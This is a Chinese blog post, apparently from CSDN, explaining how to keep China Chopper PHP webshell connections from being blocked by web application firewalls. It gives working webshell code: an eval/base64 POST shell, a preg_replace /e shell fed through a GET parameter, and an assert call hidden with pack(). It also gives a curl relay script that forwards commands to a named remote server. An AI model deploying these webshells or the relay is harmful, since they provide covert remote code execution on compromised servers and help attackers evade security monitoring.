菜刀php木马_菜刀php过waf

本文详细介绍了如何通过修改菜刀客户端、使用加密传输和中转服务器等方式,来规避Web应用防火墙(WAF)对PHP菜刀连接的拦截。方法包括将eval语句移至服务器端、使用base64编码的GET请求以及通过加密中转实现数据解密,从而确保菜刀能够正常工作并避开WAF的检测。
摘要由CSDN通过智能技术生成

关于PHP

一、waf为啥会拦截菜刀。

菜刀在连接时,会向server端POST数据,抓包查看:

imgpxy.php?url=gnp.840112535102113102%2F1131_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

会看到他向server端post了 @eval(base64_decode($_POST[z0])); 一般的waf都会拦截eval的。

二、要想菜刀仍然正常工作,就必须让菜刀中的内置的@eval(base64_decode($_POST[z0]));代码不被waf拦截,但又可以传递到server端。

方案一:修改菜刀

(1)修改菜刀,将菜刀客户端的eval(base64_decode($_POST[z0]))去掉,写进服务端去。

于是server端代码为:<?php

if($_POST['c']!='')

{

@eval(base64_decode($_POST[z0]));

}

?>

客户端用修改后的菜刀连接。

说明:这种方法是将菜刀内置的eval(base64_decode($_POST[z0]))直接写到server端。

(2)修改菜刀,将菜刀客户端的eval(base64_decode($_POST[z0]))去掉,用get方式将eval(base64_decode($_POST[z0]))的base64加密形式发到服务端。

server端代码:<?php preg_replace("/^/e",base64_decode($_REQUEST[g]),0);?>

客户端用修改后的菜刀连接:

http://www.s2ck.cc/test.php?g=ZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFt6MF0pKQ==

说明:这种方法是将菜刀内置的 eval(base64_decode($_POST[z0]))通过base64加密,然后通过get方式传到server端。

方案二:中转

client->自己服务器/应用(加密)->防火墙->真实地址(解密)

(3)通过中转,将菜刀post的eval(base64_decode($_POST[z0]))进行加密。服务端进行解密。

server端代码:<?php

$func=pack("c6",97,115,115,101,114,116);

$_POST['c']=base64_decode( $_POST['c']) ;

$func($_POST['c']);

?>

中转端代码:<?php

$handle=curl_init();

$DATA=array();

$DATA=$_POST;

$DATA['c']=base64_encode(substr($DATA['c'],1));

curl_setopt($handle,CURLOPT_URL,'http://www.s2ck.cc/1.php');

curl_setopt($handle,CURLOPT_HEADER,0);

curl_setopt($handle,CURLOPT_RETURNTRANSFER, 1);

curl_setopt($handle,CURLOPT_POST,1);

curl_setopt($handle,CURLOPT_POSTFIELDS,$DATA);

$output=curl_exec($handle);

if($output === FALSE) {

echo "cURL Error: " . curl_error($handle);

}

echo ($output);

curl_close($handle);

?>

客户端:

用原版菜刀连接。

说明:这种方法是将菜刀内置的 eval(base64_decode($_POST[z0]))通过中转端进行加密,然后server端进行解密。从而绕过waf

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值